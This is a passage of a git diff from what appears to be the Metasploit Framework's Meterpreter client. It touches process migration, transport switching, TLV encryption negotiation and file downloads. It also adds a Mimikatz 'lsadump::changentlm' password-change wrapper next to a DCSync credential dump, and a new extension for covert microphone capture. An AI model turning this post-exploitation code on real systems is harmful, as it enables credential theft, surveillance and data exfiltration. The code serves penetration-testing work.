transport_prepare_request('core_transport_change', opts) @@ -367,6 +443,9 @@ class ClientCore < Extension return true end + # + # Sleep the current session for the given number of seconds. + # def transport_sleep(seconds) return false if seconds == 0 @@ -379,12 +458,18 @@ class ClientCore < Extension return true end + # + # Change the active transport to the next one in the transport list. + # def transport_next request = Packet.create_request('core_transport_next') client.send_request(request) return true end + # + # Change the active transport to the previous one in the transport list. + # def transport_prev request = Packet.create_request('core_transport_prev') client.send_request(request) @@ -480,51 +565,17 @@ class ClientCore < Extension raise RuntimeError, 'Cannot migrate into current process', caller end - if client.platform == 'linux' - if writable_dir.to_s.strip.empty? - writable_dir = tmp_folder - end - - stat_dir = client.fs.filestat.new(writable_dir) - - unless stat_dir.directory? - raise RuntimeError, "Directory #{writable_dir} not found", caller - end - # Rex::Post::FileStat#writable? isn't available - end - migrate_stub = generate_migrate_stub(target_process) migrate_payload = generate_migrate_payload(target_process) # Build the migration request request = Packet.create_request('core_migrate') - if client.platform == 'linux' - socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) - - if socket_path.length > UNIX_PATH_MAX - 1 - raise RuntimeError, 'The writable dir is too long', caller - end - - pos = migrate_payload.index(DEFAULT_SOCK_PATH) - - if pos.nil? - raise RuntimeError, 'The meterpreter binary is wrong', caller - end - - migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00" - - ep = elf_ep(migrate_payload) - request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000) - request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep) - request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib]) - end - - request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid ) - request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length ) - request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib]) - request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length ) - request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib]) + request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid) + request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length) + request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib]) + request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length) + request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib]) if target_process['arch'] == ARCH_X64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 @@ -542,13 +593,18 @@ class ClientCore < Extension # Send the migration request. Timeout can be specified by the caller, or set to a min # of 60 seconds. timeout = [(opts[:timeout] || 0), 60].max - client.send_request(request, timeout) + response = client.send_request(request, timeout) + + # Post-migration the session doesn't have encryption any more. + # Set the TLV key to nil to make sure that the old key isn't used + # at all. + client.tlv_enc_key = nil if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents # the original process from stealing our loadlib requests ::IO.select(nil, nil, nil, 5.0) - else + elsif client.pivot_session.nil? # Prevent new commands from being sent while we finish migrating client.comm_mutex.synchronize do # Disable the socket request monitor @@ -558,28 +614,34 @@ class ClientCore < Extension # Now communicating with the new process ### - # If renegotiation takes longer than a minute, it's a pretty - # good bet that migration failed and the remote side is hung. - # Since we have the comm_mutex here, we *must* release it to - # keep from hanging the packet dispatcher thread, which results - # in blocking the entire process. - begin - Timeout.timeout(timeout) do - # Renegotiate SSL over this socket - client.swap_sock_ssl_to_plain() - client.swap_sock_plain_to_ssl() + # only renegotiate SSL if the session had support for it in the + # first place! + if client.supports_ssl? + # If renegotiation takes longer than a minute, it's a pretty + # good bet that migration failed and the remote side is hung. + # Since we have the comm_mutex here, we *must* release it to + # keep from hanging the packet dispatcher thread, which results + # in blocking the entire process. + begin + Timeout.timeout(timeout) do + # Renegotiate SSL over this socket + client.swap_sock_ssl_to_plain() + client.swap_sock_plain_to_ssl() + end + rescue TimeoutError + client.alive = false + return false end - rescue TimeoutError - client.alive = false - return false end # Restart the socket monitor client.monitor_socket - end end + # Renegotiate TLV encryption on the migrated session + client.tlv_enc_key = negotiate_tlv_encryption + # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) client.ext.aliases.keys.each { |e| client.core.use(e) @@ -614,19 +676,55 @@ class ClientCore < Extension # Indicates if the given transport is a valid transport option. # def valid_transport?(transport) - if transport - VALID_TRANSPORTS.has_key?(transport.downcase) - else - false + return false if transport.nil? + VALID_TRANSPORTS.include?(transport.downcase) + end + + # + # Negotiates the use of encryption at the TLV level + # + def negotiate_tlv_encryption + sym_key = nil + rsa_key = OpenSSL::PKey::RSA.new(2048) + rsa_pub_key = rsa_key.public_key + + request = Packet.create_request('core_negotiate_tlv_encryption') + request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_pem) + + begin + response = client.send_request(request) + key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY) + key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE) + + if key_enc + sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING) + else + sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY) + end + rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError + # 1) OpenSSL error may be due to padding issues (or something else) + # 2) Request error probably means the request isn't supported, so fallback to plain end + + { + key: sym_key, + type: key_type + } end private + # + # Get a reference to the currently active transport. + # def get_current_transport transport_list[:transports][0] end + # + # Generate a migrate stub that is specific to the current transport type and the + # target process. + # def generate_migrate_stub(target_process) stub = nil @@ -640,6 +738,8 @@ private case t[:url] when /^tcp/i c.include(::Msf::Payload::Windows::MigrateTcp) + when /^pipe/i + c.include(::Msf::Payload::Windows::MigrateNamedPipe) when /^http/i # Covers HTTP and HTTPS c.include(::Msf::Payload::Windows::MigrateHttp) @@ -649,6 +749,8 @@ private case t[:url] when /^tcp/i c.include(::Msf::Payload::Windows::MigrateTcp_x64) + when /^pipe/i + c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64) when /^http/i # Covers HTTP and HTTPS c.include(::Msf::Payload::Windows::MigrateHttp_x64) @@ -663,6 +765,10 @@ private stub end + # + # Helper function to prepare a transport request that will be sent to the + # attached session. + # def transport_prepare_request(method, opts={}) unless valid_transport?(opts[:transport]) && opts[:lport] return nil @@ -675,11 +781,11 @@ private opts[:lhost] = nil end - transport = VALID_TRANSPORTS[opts[:transport]] + transport = opts[:transport].downcase request = Packet.create_request(method) - scheme = opts[:transport].split('_')[1] + scheme = transport.split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" if opts[:luri] && opts[:luri].length > 0 @@ -709,7 +815,7 @@ private end # do more magic work for http(s) payloads - unless opts[:transport].ends_with?('tcp') + unless transport.ends_with?('tcp') if opts[:uri] url << '/' unless opts[:uri].start_with?('/') url << opts[:uri] @@ -723,7 +829,7 @@ private opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) - if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert] + if transport == 'reverse_https' && opts[:cert] hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) end @@ -747,23 +853,12 @@ private request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) request.add_tlv(TLV_TYPE_TRANS_URL, url) - return request - end - - - def generate_migrate_payload(target_process) - case client.platform - when 'windows' - blob = generate_migrate_windows_payload(target_process) - when 'linux' - blob = generate_migrate_linux_payload - else - raise RuntimeError, "Unsupported platform '#{client.platform}'" - end - - blob + request end + # + # Create a full Windows-specific migration payload specific to the target process. + # def generate_migrate_windows_payload(target_process) c = Class.new( ::Msf::Payload ) c.include( ::Msf::Payload::Stager ) @@ -783,26 +878,19 @@ private migrate_stager.stage_meterpreter end - def generate_migrate_linux_payload - MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') - end - - def elf_ep(payload) - elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) - ep = elf.elf_header.e_entry - return ep - end - - def tmp_folder - tmp = client.sys.config.getenv('TMPDIR') - - if tmp.to_s.strip.empty? - tmp = '/tmp' + # + # Create a full migration payload specific to the target process. + # + def generate_migrate_payload(target_process) + case client.platform + when 'windows' + blob = generate_migrate_windows_payload(target_process) + else + raise RuntimeError, "Unsupported platform '#{client.platform}'" end - tmp + blob end - end end; end; end diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb index 57b51b469a..f3847a9957 100644 --- a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -53,6 +53,42 @@ class Kiwi < Extension output[output.index("\n") + 1, output.length] end + def password_change(opts) + cmd = "lsadump::changentlm /user:#{opts[:user]}" + cmd << " /server:#{opts[:server]}" if opts[:server] + cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass] + cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash] + cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass] + cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash] + + output = exec_cmd("\"#{cmd}\"") + result = {} + + if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m + result[:old] = $1 + end + if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m + result[:new] = $1 + end + + if output =~ /^ERROR/m + result[:success] = false + if output =~ /^ERROR.*SamConnect/m + result[:error] = 'Invalid server.' + elsif output =~ /^ERROR.*Bad old/m + result[:error] = 'Invalid old password or hash.' + elsif output =~ /^ERROR.*SamLookupNamesInDomain/m + result[:error] = 'Invalid user.' + else + result[:error] = 'Unknown error.' + end + else + result[:success] = true + end + + result + end + def dcsync(domain_user) exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"") end @@ -271,11 +307,18 @@ class Kiwi < Extension # did we find something? next if line.blank? - # the next 4 lines should be interesting msv = {} - 4.times do - k, v = read_value(lines.shift) - msv[k.strip] = v if k + # loop until we find a line that doesn't start with + # an asterisk, as this is the next credential set + loop do + line = lines.shift + if line.strip.start_with?('*') + k, v = read_value(line) + msv[k.strip] = v if k + else + lines.unshift(line) + break + end end if msv.length > 0 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index eb2550ef9b..607a030bb4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -195,19 +195,15 @@ class Dir < Rex::Post::Dir # Downloads the contents of a remote directory a # local directory, optionally in a recursive fashion. # - def Dir.download(dst, src, opts, force = true, glob = nil, &stat) - recursive = false - continue = false - tries = false - tries_no = 0 + def Dir.download(dst, src, opts = {}, force = true, glob = nil, &stat) tries_cnt = 0 - if opts - timestamp = opts["timestamp"] - recursive = true if opts["recursive"] - continue = true if opts["continue"] - tries = true if opts["tries"] - tries_no = opts["tries_no"] - end + + continue = opts["continue"] + recursive = opts["recursive"] + timestamp = opts["timestamp"] + tries_no = opts["tries_no"] || 0 + tries = opts["tries"] + begin dir_files = self.entries(src, glob) rescue Rex::TimeoutError diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index 32eab353db..5c23bda8a2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -7,6 +7,7 @@ require 'rex/post/meterpreter/extensions/stdapi/stdapi' require 'rex/post/meterpreter/extensions/stdapi/fs/io' require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat' require 'fileutils' +require 'filesize' module Rex module Post @@ -25,6 +26,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO include Rex::Post::File + MIN_BLOCK_SIZE = 1024 + class << self attr_accessor :client end @@ -298,8 +301,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # If a block is given, it will be called before each file is downloaded and # again when each download is complete. # - def File.download(dest, src_files, opts = nil, &stat) - timestamp = opts["timestamp"] if opts + def File.download(dest, src_files, opts = {}, &stat) + timestamp = opts["timestamp"] [*src_files].each { |src| if (::File.basename(dest) != File.basename(src)) # The destination when downloading is a local file so use this @@ -312,7 +315,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO dest += timestamp end - stat.call('downloading', src, dest) if (stat) + stat.call('Downloading', src, dest) if (stat) result = download_file(dest, src, opts, &stat) stat.call(result, src, dest) if (stat) } @@ -321,15 +324,15 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # # Download a single file. # - def File.download_file(dest_file, src_file, opts = nil, &stat) - continue=false - tries=false - tries_no=0 - if opts - continue = true if opts["continue"] - tries = true if opts["tries"] - tries_no = opts["tries_no"] - end + def File.download_file(dest_file, src_file, opts = {}, &stat) + stat ||= lambda { |a,b,c| } + + adaptive = opts["adaptive"] + block_size = opts["block_size"] || 1024 * 1024 + continue = opts["continue"] + tries_no = opts["tries_no"] + tries = opts["tries"] + src_fd = client.fs.file.new(src_file, "rb") # Check for changes @@ -346,6 +349,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO dir = ::File.dirname(dest_file) ::FileUtils.mkdir_p(dir) if dir and not ::File.directory?(dir) + src_size = Filesize.new(src_stat.size).pretty + if continue # continue downloading the file - skip downloaded part in the source dst_fd = ::File.new(dest_file, "ab") @@ -353,10 +358,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO dst_fd.seek(0, ::IO::SEEK_END) in_pos = dst_fd.pos src_fd.seek(in_pos) - stat.call('continuing from ', in_pos, src_file) if (stat) + stat.call("Continuing from #{Filesize.new(in_pos).pretty} of #{src_size}", src_file, dest_file) rescue # if we can't seek, download again - stat.call('error continuing - downloading from scratch', src_file, dest_file) if (stat) + stat.call('Error continuing - downloading from scratch', src_file, dest_file) dst_fd.close dst_fd = ::File.new(dest_file, "wb") end @@ -369,6 +374,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO if tries # resume when timeouts encountered seek_back = false + adjust_block = false tries_cnt = 0 begin # while begin # exception @@ -376,30 +382,46 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO in_pos = dst_fd.pos src_fd.seek(in_pos) seek_back = false - stat.call('resuming at ', in_pos, src_file) if (stat) + stat.call("Resuming at #{Filesize.new(in_pos).pretty} of #{src_size}", src_file, dest_file) else # succesfully read and wrote - reset the counter tries_cnt = 0 end - data = src_fd.read + adjust_block = true + data = src_fd.read(block_size) + adjust_block = false rescue Rex::TimeoutError # timeout encountered - either seek back and retry or quit if (tries && (tries_no == 0 || tries_cnt < tries_no)) tries_cnt += 1 seek_back = true - stat.call('error downloading - retry #', tries_cnt, src_file) if (stat) + # try a smaller block size for the next round + if adaptive && adjust_block + block_size = [block_size >> 1, MIN_BLOCK_SIZE].max + adjust_block = false + msg = "Error downloading, block size set to #{block_size} - retry # #{tries_cnt}" + stat.call(msg, src_file, dest_file) + else + stat.call("Error downloading - retry # #{tries_cnt}", src_file, dest_file) + end retry else - stat.call('error downloading - giving up', src_file, dest_file) if (stat) + stat.call('Error downloading - giving up', src_file, dest_file) raise end end dst_fd.write(data) if (data != nil) + percent = dst_fd.pos.to_f / src_stat.size.to_f * 100.0 + msg = "Downloaded #{Filesize.new(dst_fd.pos).pretty} of #{src_size} (#{percent.round(2)}%)" + stat.call(msg, src_file, dest_file) end while (data != nil) else # do the simple copying quiting on the first error - while ((data = src_fd.read) != nil) + while ((data = src_fd.read(block_size)) != nil) dst_fd.write(data) + percent = dst_fd.pos.to_f / src_stat.size.to_f * 100.0 + msg = "Downloaded #{Filesize.new(dst_fd.pos).pretty} of #{src_size} (#{percent.round(2)}%)" + stat.call(msg, src_file, dest_file) end end rescue EOFError diff --git a/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb b/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb new file mode 100644 index 0000000000..234074e3fa --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/pools/stream_pool' + +module Rex + module Post + module Meterpreter + module Extensions + module Stdapi + module Mic + + ### + # + # This meterpreter extension can list and capture from microphone + # + ### + class Mic + def initialize(client) + @client = client + end + + def session + @client + end + + # List available microphones + def mic_list + response = client.send_request(Packet.create_request('audio_mic_list')) + names = [] + if response.result == 0 + response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv| + names << tlv.value + end + end + names + end + + # Starts recording audio from microphone + def mic_start(device_id) + request = Packet.create_request('audio_mic_start') + request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id) + response = client.send_request(request) + return nil unless response.result == 0 + + channel = Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS) + end + + # Stop recording from microphone + def mic_stop + client.send_request(Packet.create_request('audio_mic_stop')) + true + end + + attr_accessor :client + end + end + end + end + end + end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb index cca236513e..d11495d74b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb @@ -31,122 +31,122 @@ class DefApiConstants_linux < ApiConstants const_mgr.add_const('PROT_GROWSDOWN', 0x01000000) const_mgr.add_const('PROT_GROWSUP', 0x02000000) - const_mgr.add_const("PF_UNSPEC", 0x00000000) - const_mgr.add_const("PF_LOCAL", 0x00000001) - const_mgr.add_const("PF_UNIX", 0x00000000) - const_mgr.add_const("PF_FILE", 0x00000000) - const_mgr.add_const("PF_INET", 0x00000002) - const_mgr.add_const("PF_AX25", 0x00000003) - const_mgr.add_const("PF_IPX", 0x00000004) - const_mgr.add_const("PF_APPLETALK", 0x00000005) - const_mgr.add_const("PF_NETROM", 0x00000006) - const_mgr.add_const("PF_BRIDGE", 0x00000007) - const_mgr.add_const("PF_ATMPVC", 0x00000008) - const_mgr.add_const("PF_X25", 0x00000009) - const_mgr.add_const("PF_INET6", 0x0000000a) - const_mgr.add_const("PF_ROSE", 0x0000000b) - const_mgr.add_const("PF_DECnet", 0x0000000c) - const_mgr.add_const("PF_NETBEUI", 0x0000000d) - const_mgr.add_const("PF_SECURITY", 0x0000000e) - const_mgr.add_const("PF_KEY", 0x0000000f) - const_mgr.add_const("PF_NETLINK", 0x00000010) - const_mgr.add_const("PF_ROUTE", 0x00000000) - const_mgr.add_const("PF_PACKET", 0x00000011) - const_mgr.add_const("PF_ASH", 0x00000012) - const_mgr.add_const("PF_ECONET", 0x00000013) - const_mgr.add_const("PF_ATMSVC", 0x00000014) - const_mgr.add_const("PF_RDS", 0x00000015) - const_mgr.add_const("PF_SNA", 0x00000016) - const_mgr.add_const("PF_IRDA", 0x00000017) - const_mgr.add_const("PF_PPPOX", 0x00000018) - const_mgr.add_const("PF_WANPIPE", 0x00000019) - const_mgr.add_const("PF_LLC", 0x0000001a) - const_mgr.add_const("PF_IB", 0x0000001b) - const_mgr.add_const("PF_MPLS", 0x0000001c) - const_mgr.add_const("PF_CAN", 0x0000001d) - const_mgr.add_const("PF_TIPC", 0x0000001e) - const_mgr.add_const("PF_BLUETOOTH", 0x0000001f) - const_mgr.add_const("PF_IUCV", 0x00000020) - const_mgr.add_const("PF_RXRPC", 0x00000021) - const_mgr.add_const("PF_ISDN", 0x00000022) - const_mgr.add_const("PF_PHONET", 0x00000023) - const_mgr.add_const("PF_IEEE802154", 0x00000024) - const_mgr.add_const("PF_CAIF", 0x00000025) - const_mgr.add_const("PF_ALG", 0x00000026) - const_mgr.add_const("PF_NFC", 0x00000027) - const_mgr.add_const("PF_VSOCK", 0x00000028) - const_mgr.add_const("PF_KCM", 0x00000029) - const_mgr.add_const("PF_MAX", 0x0000002a) + const_mgr.add_const('PF_UNSPEC', 0x00000000) + const_mgr.add_const('PF_LOCAL', 0x00000001) + const_mgr.add_const('PF_UNIX', 0x00000000) + const_mgr.add_const('PF_FILE', 0x00000000) + const_mgr.add_const('PF_INET', 0x00000002) + const_mgr.add_const('PF_AX25', 0x00000003) + const_mgr.add_const('PF_IPX', 0x00000004) + const_mgr.add_const('PF_APPLETALK', 0x00000005) + const_mgr.add_const('PF_NETROM', 0x00000006) + const_mgr.add_const('PF_BRIDGE', 0x00000007) + const_mgr.add_const('PF_ATMPVC', 0x00000008) + const_mgr.add_const('PF_X25', 0x00000009) + const_mgr.add_const('PF_INET6', 0x0000000a) + const_mgr.add_const('PF_ROSE', 0x0000000b) + const_mgr.add_const('PF_DECnet', 0x0000000c) + const_mgr.add_const('PF_NETBEUI', 0x0000000d) + const_mgr.add_const('PF_SECURITY', 0x0000000e) + const_mgr.add_const('PF_KEY', 0x0000000f) + const_mgr.add_const('PF_NETLINK', 0x00000010) + const_mgr.add_const('PF_ROUTE', 0x00000000) + const_mgr.add_const('PF_PACKET', 0x00000011) + const_mgr.add_const('PF_ASH', 0x00000012) + const_mgr.add_const('PF_ECONET', 0x00000013) + const_mgr.add_const('PF_ATMSVC', 0x00000014) + const_mgr.add_const('PF_RDS', 0x00000015) + const_mgr.add_const('PF_SNA', 0x00000016) + const_mgr.add_const('PF_IRDA', 0x00000017) + const_mgr.add_const('PF_PPPOX', 0x00000018) + const_mgr.add_const('PF_WANPIPE', 0x00000019) + const_mgr.add_const('PF_LLC', 0x0000001a) + const_mgr.add_const('PF_IB', 0x0000001b) + const_mgr.add_const('PF_MPLS', 0x0000001c) + const_mgr.add_const('PF_CAN', 0x0000001d) + const_mgr.add_const('PF_TIPC', 0x0000001e) + const_mgr.add_const('PF_BLUETOOTH', 0x0000001f) + const_mgr.add_const('PF_IUCV', 0x00000020) + const_mgr.add_const('PF_RXRPC', 0x00000021) + const_mgr.add_const('PF_ISDN', 0x00000022) + const_mgr.add_const('PF_PHONET', 0x00000023) + const_mgr.add_const('PF_IEEE802154', 0x00000024) + const_mgr.add_const('PF_CAIF', 0x00000025) + const_mgr.add_const('PF_ALG', 0x00000026) + const_mgr.add_const('PF_NFC', 0x00000027) + const_mgr.add_const('PF_VSOCK', 0x00000028) + const_mgr.add_const('PF_KCM', 0x00000029) + const_mgr.add_const('PF_MAX', 0x0000002a) - const_mgr.add_const("AF_UNSPEC", 0x00000000) - const_mgr.add_const("AF_LOCAL", 0x00000001) - const_mgr.add_const("AF_UNIX", 0x00000000) - const_mgr.add_const("AF_FILE", 0x00000000) - const_mgr.add_const("AF_INET", 0x00000002) - const_mgr.add_const("AF_AX25", 0x00000003) - const_mgr.add_const("AF_IPX", 0x00000004) - const_mgr.add_const("AF_APPLETALK", 0x00000005) - const_mgr.add_const("AF_NETROM", 0x00000006) - const_mgr.add_const("AF_BRIDGE", 0x00000007) - const_mgr.add_const("AF_ATMPVC", 0x00000008) - const_mgr.add_const("AF_X25", 0x00000009) - const_mgr.add_const("AF_INET6", 0x0000000a) - const_mgr.add_const("AF_ROSE", 0x0000000b) - const_mgr.add_const("AF_DECnet", 0x0000000c) - const_mgr.add_const("AF_NETBEUI", 0x0000000d) - const_mgr.add_const("AF_SECURITY", 0x0000000e) - const_mgr.add_const("AF_KEY", 0x0000000f) - const_mgr.add_const("AF_NETLINK", 0x00000010) - const_mgr.add_const("AF_ROUTE", 0x00000000) - const_mgr.add_const("AF_PACKET", 0x00000011) - const_mgr.add_const("AF_ASH", 0x00000012) - const_mgr.add_const("AF_ECONET", 0x00000013) - const_mgr.add_const("AF_ATMSVC", 0x00000014) - const_mgr.add_const("AF_RDS", 0x00000015) - const_mgr.add_const("AF_SNA", 0x00000016) - const_mgr.add_const("AF_IRDA", 0x00000017) - const_mgr.add_const("AF_PPPOX", 0x00000018) - const_mgr.add_const("AF_WANPIPE", 0x00000019) - const_mgr.add_const("AF_LLC", 0x0000001a) - const_mgr.add_const("AF_IB", 0x0000001b) - const_mgr.add_const("AF_MPLS", 0x0000001c) - const_mgr.add_const("AF_CAN", 0x0000001d) - const_mgr.add_const("AF_TIPC", 0x0000001e) - const_mgr.add_const("AF_BLUETOOTH", 0x0000001f) - const_mgr.add_const("AF_IUCV", 0x00000020) - const_mgr.add_const("AF_RXRPC", 0x00000021) - const_mgr.add_const("AF_ISDN", 0x00000022) - const_mgr.add_const("AF_PHONET", 0x00000023) - const_mgr.add_const("AF_IEEE802154", 0x00000024) - const_mgr.add_const("AF_CAIF", 0x00000025) - const_mgr.add_const("AF_ALG", 0x00000026) - const_mgr.add_const("AF_NFC", 0x00000027) - const_mgr.add_const("AF_VSOCK", 0x00000028) - const_mgr.add_const("AF_KCM", 0x00000029) - const_mgr.add_const("AF_MAX", 0x0000002a) + const_mgr.add_const('AF_UNSPEC', 0x00000000) + const_mgr.add_const('AF_LOCAL', 0x00000001) + const_mgr.add_const('AF_UNIX', 0x00000000) + const_mgr.add_const('AF_FILE', 0x00000000) + const_mgr.add_const('AF_INET', 0x00000002) + const_mgr.add_const('AF_AX25', 0x00000003) + const_mgr.add_const('AF_IPX', 0x00000004) + const_mgr.add_const('AF_APPLETALK', 0x00000005) + const_mgr.add_const('AF_NETROM', 0x00000006) + const_mgr.add_const('AF_BRIDGE', 0x00000007) + const_mgr.add_const('AF_ATMPVC', 0x00000008) + const_mgr.add_const('AF_X25', 0x00000009) + const_mgr.add_const('AF_INET6', 0x0000000a) + const_mgr.add_const('AF_ROSE', 0x0000000b) + const_mgr.add_const('AF_DECnet', 0x0000000c) + const_mgr.add_const('AF_NETBEUI', 0x0000000d) + const_mgr.add_const('AF_SECURITY', 0x0000000e) + const_mgr.add_const('AF_KEY', 0x0000000f) + const_mgr.add_const('AF_NETLINK', 0x00000010) + const_mgr.add_const('AF_ROUTE', 0x00000000) + const_mgr.add_const('AF_PACKET', 0x00000011) + const_mgr.add_const('AF_ASH', 0x00000012) + const_mgr.add_const('AF_ECONET', 0x00000013) + const_mgr.add_const('AF_ATMSVC', 0x00000014) + const_mgr.add_const('AF_RDS', 0x00000015) + const_mgr.add_const('AF_SNA', 0x00000016) + const_mgr.add_const('AF_IRDA', 0x00000017) + const_mgr.add_const('AF_PPPOX', 0x00000018) + const_mgr.add_const('AF_WANPIPE', 0x00000019) + const_mgr.add_const('AF_LLC', 0x0000001a) + const_mgr.add_const('AF_IB', 0x0000001b) + const_mgr.add_const('AF_MPLS', 0x0000001c) + const_mgr.add_const('AF_CAN', 0x0000001d) + const_mgr.add_const('AF_TIPC', 0x0000001e) + const_mgr.add_const('AF_BLUETOOTH', 0x0000001f) + const_mgr.add_const('AF_IUCV', 0x00000020) + const_mgr.add_const('AF_RXRPC', 0x00000021) + const_mgr.add_const('AF_ISDN', 0x00000022) + const_mgr.add_const('AF_PHONET', 0x00000023) + const_mgr.add_const('AF_IEEE802154', 0x00000024) + const_mgr.add_const('AF_CAIF', 0x00000025) + const_mgr.add_const('AF_ALG', 0x00000026) + const_mgr.add_const('AF_NFC', 0x00000027) + const_mgr.add_const('AF_VSOCK', 0x00000028) + const_mgr.add_const('AF_KCM', 0x00000029) + const_mgr.add_const('AF_MAX', 0x0000002a) - const_mgr.add_const("SOL_RAW", 0x000000ff) - const_mgr.add_const("SOL_DECNET", 0x00000105) - const_mgr.add_const("SOL_X25", 0x00000106) - const_mgr.add_const("SOL_PACKET", 0x00000107) - const_mgr.add_const("SOL_ATM", 0x00000108) - const_mgr.add_const("SOL_AAL", 0x00000109) - const_mgr.add_const("SOL_IRDA", 0x0000010a) - const_mgr.add_const("SOL_NETBEUI", 0x0000010b) - const_mgr.add_const("SOL_LLC", 0x0000010c) - const_mgr.add_const("SOL_DCCP", 0x0000010d) - const_mgr.add_const("SOL_NETLINK", 0x0000010e) - const_mgr.add_const("SOL_TIPC", 0x0000010f) - const_mgr.add_const("SOL_RXRPC", 0x00000110) - const_mgr.add_const("SOL_PPPOL2TP", 0x00000111) - const_mgr.add_const("SOL_BLUETOOTH", 0x00000112) - const_mgr.add_const("SOL_PNPIPE", 0x00000113) - const_mgr.add_const("SOL_RDS", 0x00000114) - const_mgr.add_const("SOL_IUCV", 0x00000115) - const_mgr.add_const("SOL_CAIF", 0x00000116) - const_mgr.add_const("SOL_ALG", 0x00000117) - const_mgr.add_const("SOL_NFC", 0x00000118) - const_mgr.add_const("SOL_KCM", 0x00000119) + const_mgr.add_const('SOL_RAW', 0x000000ff) + const_mgr.add_const('SOL_DECNET', 0x00000105) + const_mgr.add_const('SOL_X25', 0x00000106) + const_mgr.add_const('SOL_PACKET', 0x00000107) + const_mgr.add_const('SOL_ATM', 0x00000108) + const_mgr.add_const('SOL_AAL', 0x00000109) + const_mgr.add_const('SOL_IRDA', 0x0000010a) + const_mgr.add_const('SOL_NETBEUI', 0x0000010b) + const_mgr.add_const('SOL_LLC', 0x0000010c) + const_mgr.add_const('SOL_DCCP', 0x0000010d) + const_mgr.add_const('SOL_NETLINK', 0x0000010e) + 